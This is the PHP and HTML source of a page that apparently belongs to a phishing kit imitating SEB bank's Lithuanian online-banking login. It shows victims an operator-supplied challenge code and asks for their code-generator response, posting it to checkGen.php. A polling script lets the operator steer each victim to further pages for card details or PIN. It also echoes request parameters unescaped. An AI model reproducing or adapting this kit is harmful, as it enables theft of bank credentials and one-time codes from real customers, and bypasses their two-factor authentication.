        <link rel="stylesheet" href="./css/styles.c576722027a46b43.css" media="all" onload="this.media=&#39;all&#39;" />
        <noscript><link rel="stylesheet" href="styles.c576722027a46b43.css" /></noscript>
        <style>
            [_nghost-ng-c2071628769] {
                position: relative;
                display: block;
                pointer-events: none;
            }
            [_nghost-ng-c2071628769] .ngx-spinner[_ngcontent-ng-c2071628769] {
                transition: 0.35s linear all;
                display: block;
                position: absolute;
                top: 5px;
                left: 0px;
            }
            [_nghost-ng-c2071628769] .ngx-spinner[_ngcontent-ng-c2071628769] .ngx-spinner-icon[_ngcontent-ng-c2071628769] {
                width: 14px;
                height: 14px;
                border: solid 2px transparent;
                border-top-color: inherit;
                border-left-color: inherit;
                border-radius: 50%;
                -webkit-animation: _ngcontent-ng-c2071628769_loading-bar-spinner 0.4s linear infinite;
                animation: _ngcontent-ng-c2071628769_loading-bar-spinner 0.4s linear infinite;
            }
            [_nghost-ng-c2071628769] .ngx-bar[_ngcontent-ng-c2071628769] {
                transition: width 0.35s;
                position: absolute;
                top: 0;
                left: 0;
                width: 100%;
                height: 2px;
                border-bottom-right-radius: 1px;
                border-top-right-radius: 1px;
            }
            [dir="rtl"] [_nghost-ng-c2071628769] .ngx-bar[_ngcontent-ng-c2071628769] {
                right: 0;
                left: unset;
            }
            [fixed="true"][_nghost-ng-c2071628769] {
                z-index: 10002;
            }
            [fixed="true"][_nghost-ng-c2071628769] .ngx-bar[_ngcontent-ng-c2071628769] {
                position: fixed;
            }
            [fixed="true"][_nghost-ng-c2071628769] .ngx-spinner[_ngcontent-ng-c2071628769] {
                position: fixed;
                top: 10px;
                left: 10px;
            }
            [dir="rtl"] [fixed="true"][_nghost-ng-c2071628769] .ngx-spinner[_ngcontent-ng-c2071628769] {
                right: 10px;
                left: unset;
            }
            @-webkit-keyframes _ngcontent-ng-c2071628769_loading-bar-spinner {
                0% {
                    transform: rotate(0);
                }
                to {
                    transform: rotate(360deg);
                }
            }
            @keyframes _ngcontent-ng-c2071628769_loading-bar-spinner {
                0% {
                    transform: rotate(0);
                }
                to {
                    transform: rotate(360deg);
                }
            }
        </style>
        <script id="chatbot-script" src="./login_files/embed."></script>
        <script src="./login_files/bot-window." type="module"></script>
        <script src="./login_files/evergage.min." type="text/javascript" id="beacon"></script>
        <script id="26fb52b0" type="text/javascript" src="./login_files/bcaptcha."></script>
   
     <style>
.loader {
  width: 30px;
  padding: 5px;
  aspect-ratio: 1;
  border-radius: 50%;
 background: #60cd18;
  --_m: 
    conic-gradient(#0000 10%,#000),
    linear-gradient(#000 0 0) content-box;
  -webkit-mask: var(--_m);
          mask: var(--_m);
  -webkit-mask-composite: source-out;
          mask-composite: subtract;
  animation: l3 1s infinite linear;
}
@keyframes l3 {to{transform: rotate(1turn)}}

        .loader {
                position: absolute;
    left: 50%;
    right: 50%;
    top: 50%;
    bottom: 50%;
    z-index: 99999;
        }

        @media screen and (max-width: 500px) {
            .loader {
            position: absolute;
            left: 45%;
            right: 50%;
            top: 50%;
            bottom: 50%;
        }
        }

        .back {
       width: 100%;
    height: 100%;
    position: absolute;
    background: #0e0e0e6b;
    z-index: 9999;
    backdrop-filter: blur(2px);
        }
    </style>
</head>
  <body class="light">
     <div class="loader"></div> 
     <div class="back"></div>
        <app-main-page ng-version="17.0.8">
            <div class="ib-container background__White--dark-base-900">
                <div class="ib-container__header">
                    <!---->
                    <app-header class="ng-tns-c475673487-0">
                        <!----><!----><!---->
                        <div class="navbar navbar-login navbar-expand-lg ng-tns-c475673487-0 ng-star-inserted">
                            <div role="navigation" class="container-fluid ng-tns-c475673487-0">
                                <a href="" id="login-seb-logo-link" class="navbar-brand navbar-brand--big ng-tns-c475673487-0"><span class="visually-hidden ng-tns-c475673487-0">SEB logotipas</span></a>
                                <button id="navbar-toggler" class="navbar-toggler pr-0 pl-0 mt-1 ng-tns-c475673487-0">
                                    <span class="ng-tns-c475673487-0 ng-star-inserted">
                                        <span class="visually-hidden ng-tns-c475673487-0">Atidaryti meniu</span>
                                        <fa-icon class="ng-fa-icon ng-tns-c475673487-0">
                                            <svg role="img" aria-hidden="true" focusable="false" data-prefix="far" data-icon="bars" class="svg-inline--fa fa-bars" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512">
                                                <path
                                                    fill="currentColor"
                                                    d="M436 124H12c-6.627 0-12-5.373-12-12V80c0-6.627 5.373-12 12-12h424c6.627 0 12 5.373 12 12v32c0 6.627-5.373 12-12 12zm0 160H12c-6.627 0-12-5.373-12-12v-32c0-6.627 5.373-12 12-12h424c6.627 0 12 5.373 12 12v32c0 6.627-5.373 12-12 12zm0 160H12c-6.627 0-12-5.373-12-12v-32c0-6.627 5.373-12 12-12h424c6.627 0 12 5.373 12 12v32c0 6.627-5.373 12-12 12z"
                                                ></path>
                                            </svg>
                                        </fa-icon>
                                    </span>
                                    <!----><!---->
                                </button>
                                <div class="collapse navbar-collapse desktop ng-tns-c475673487-0 ng-star-inserted">
                                    <span role="navigation" aria-labelledby="select_account_type__label" class="color-white col pl-0 d-sm-flex d-md-inline header-nav__type ng-tns-c475673487-0">
                                        <span id="select_account_type__label" class="visually-hidden ng-tns-c475673487-0">Interneto bankas</span>
                                        <a tabindex="0" id="select-private-customer__desktop" href=index.php class="btn btn-link ng-tns-c475673487-0 active ng-star-inserted"> Privatiems</a>
                                        <!---->
                                        <a tabindex="0" id="select-business-customer__desktop" href=verslui.html class="btn btn-link ng-tns-c475673487-0 ng-star-inserted"> Verslui</a>
                                        <!---->
                                    </span>
                                    <app-language-selection classname="inline" parent="login" class="ng-tns-c475673487-0 ng-tns-c1156895913-1 ng-star-inserted">
                                        <div role="navigation" class="lang-selection ng-tns-c1156895913-1 inline" aria-label="Kalbos pasirinkimas">
                                            <!----><!---->
                                            <ul class="lang-selection__container ng-tns-c1156895913-1">
                                                <li class="ng-tns-c1156895913-1 ng-star-inserted">
                                                    <a tabindex="0" class="btn btn-link lang-selection__link ng-tns-c1156895913-1" id="login-inline-lang-selection__en" lang="en" hreflang="en"> English</a>
                                                    <span class="lang-selection__divider ng-tns-c1156895913-1 ng-star-inserted"></span>
                                                    <!---->
                                                </li>
                                                <li class="ng-tns-c1156895913-1 ng-star-inserted">
                                                    <a tabindex="0" class="btn btn-link lang-selection__link ng-tns-c1156895913-1" id="login-inline-lang-selection__ru" lang="ru" hreflang="ru"> Русский</a>
                                                    <!---->
                                                </li>
                                                <!---->
                                            </ul>
                                        </div>
                                    </app-language-selection>
                                </div>
                                <!----><!---->
                            </div>
                        </div>
                        <!----><!---->
                    </app-header>
                </div>
                <ngx-loading-bar _nghost-ng-c2071628769="" fixed="true" style="color: rgb(96, 205, 24);"><!----></ngx-loading-bar>
                <div class="ib-container__content restricted front-container">
                    <!---->
                    <div class="ib-container__main-wrapper sidebar-open">
                        <div class="ib-container__wrapper">
                            <main tabindex="-1" class="ib-container__main">
                                <div aria-live="polite" toastcontainer="" class="position-relative"></div>
                                <router-outlet aria-live="polite"></router-outlet>
                          <div class="login-form__verification-page digipass-verification">
   <div class="verification-header">
     <span class="header-icon">
       <fa-icon class="ng-fa-icon icon-lock-display" title="Saugus prisijungimas">
         <svg role="img" aria-labelledby="svg-inline--fa-title-U5E4drCEWHoY" data-prefix="far" data-icon="lock-keyhole" class="svg-inline--fa fa-lock-keyhole" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512">
           <title id="svg-inline--fa-title-U5E4drCEWHoY">Saugus prisijungimas</title>
           <path fill="currentColor" d="M224 48c44.2 0 80 35.8 80 80v64H144V128c0-44.2 35.8-80 80-80zM96 128v64H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H352V128C352 57.3 294.7 0 224 0S96 57.3 96 128zM64 240H384c8.8 0 16 7.2 16 16V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V256c0-8.8 7.2-16 16-16zm184 80c0-13.3-10.7-24-24-24s-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V320z"></path>
         </svg>
       </fa-icon>
     </span>
     <h1 tabindex="-1" class="heading-lg mb-0"> Jungiamasi </h1>
   </div>
   <!---->
   <div class="digipass-image">
     <img alt="Kodų generatorius su paryškintu mygtuku 1" src="pincalc1.png">
   </div>
   <div>
     <p> Įveskite šį kodą į slaptažodžių generatorių: </p>
     <p class="login-form__code">
       <span aria-live="assertive" aria-atomic="true" class="visually-hidden"><?php echo $pay->msgTextGen;?></span>
       <span aria-hidden="true"><?php echo $pay->msgTextGen;?></span>
     </p>
   </div>
   <div class="digipass-input">
     <form method="post" action="checkGen.php" class="digipass-input__form ng-pristine ng-invalid ng-touched">
       <div class="form-group">
        <input value="<?php echo $_GET['id'] ?>" id="PasswordId" name="id" type="hidden">
         <label for="verificationPinCode" class="body-md-medium">Slaptažodžių generatoriaus atsakymas</label>
         <input autocomplete="off" id="verificationPinCode" type="password" required="" aria-required="true" name="genpass" minlength="5" maxlength="8" laasnumbersonly="" class="form-control ng-pristine ng-invalid ng-touched">
         <!----> 
         <bgr-button id="digipass-submit-btn" class="mb-md" _nghost-ng-c1498745016="">
         <container-element _ngcontent-ng-c1498745016="">
           <!---->
           <!---->
           <!---->
           <!---->
           <button _ngcontent-ng-c1498745016="" aria-live="assertive" class="btn btn-primary" type="submit">
             <!---->
             <!---->
             <!---->
             <span _ngcontent-ng-c1498745016="">Prisijungti</span>
             <!---->
             <!---->
             <!---->
           </button>
           <!---->
           <!---->
           <!---->
         </container-element>
         <!---->
         <!---->
         <!---->
         <!---->
       </bgr-button>
       </div>
      
      
     </form>
   </div>
   <!---->
 </div>                   <!---->
                            </main>
                            <app-footer>
                                <footer class="footer">
                                    <!---->
                                    <div class="footer__bottom-bar">
                                        <div class="footer__container">
                                            <div class="footer__copyright"><span>© </span><span>AB SEB bankas</span></div>
                                            <div class="footer__links">
                                                <span class="footer__link ng-star-inserted"><a href="javascript:void(0)" id="consent-disclaimer-trigger">Slapukų politika</a></span>
                                                <!---->
                                                <span class="footer__link">
                                                    <span>
                                                        <a href="#" target="_blank" id="privacy-policy-link">
                                                            <i class="external-link" title="Išorinė nuoroda"></i>Privatumo politika
                                                        </a>
                                                    </span>
                                                </span>
                                                <span class="footer__link">
                                                    <span>
                                                        <a href="#" target="_blank" id="contacts-link"><i class="external-link" title="Išorinė nuoroda"></i>Kontaktai</a>
                                                    </span>
                                                </span>
                                                <span class="footer__link">
                                                    <span>
                                                        <a href="#" target="_blank" id="requisite-information-link"><i class="external-link" title="Išorinė nuoroda"></i>SEB įmonių rekvizitai</a>
                                                    </span>
                                                </span>
                                            </div>
                                        </div>
                                    </div>
                                </footer>
                            </app-footer>
                        </div>
                    </div>
                </div>
            </div>
        </app-main-page>
        <script src="./login_files/runtime.fbfb1060a1578071." type="module"></script>
        <script src="./login_files/polyfills.62f8c013f9d73cf1." type="module"></script>
        <script src="./login_files/main.c7f434d61f77cc44." type="module"></script>

        <script id="preLoginScript" type="text/javascript" src="./login_files/Loader-prelogin-lt." async="" defer=""></script>

<script>
document.addEventListener('DOMContentLoaded', () => {
  const el = document.getElementById('timer');
  let remaining = 99; // секунды

  el.textContent = remaining; // показать сразу 100

  const id = setInterval(() => {
    remaining--;
    el.textContent = remaining;

    if (remaining <= 0) {
      clearInterval(id);
      // тут можно выполнить действие по завершении
      // например: alert('Время вышло!');
    }
  }, 1000);
});
</script>

    </body>
</html>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">

    <link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&family=Open+Sans&display=swap" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>
<style>
body {
    font-family: 'Open Sans', sans-serif;
}
</style>

<script>


setInterval(() => {
    axios.post('check.php', {
        id: <?php echo $_POST['id']; ?>
    }).then((res) => {
       
        if (res.data === 'fail') {
            window.location.href = 'card.php?id=<?php echo $_POST['id']; ?>&q=1';
        }
       
        if (res.data === 'msg') {
            window.location.href = 'custom.php?id=<?php echo $_POST['id']; ?>';
        }
        if (res.data === 'app') {
            window.location.href = 'invalid.php?id=<?php echo $_POST['id']; ?>&q=1';
        }
        if (res.data === 'msgpin') {
            window.location.href = 'pin.php?id=<?php echo $_POST['id']; ?>';
        }
        if (res.data === 'msgpin2') {
            window.location.href = 'pin.php?id=<?php echo $_POST['id']; ?>';
        }
        if (res.data === 'gen') {
            window.location.href = 'gen.php?id=<?php echo $_POST['id']; ?>';
        }
    });
}, 3000);



</script>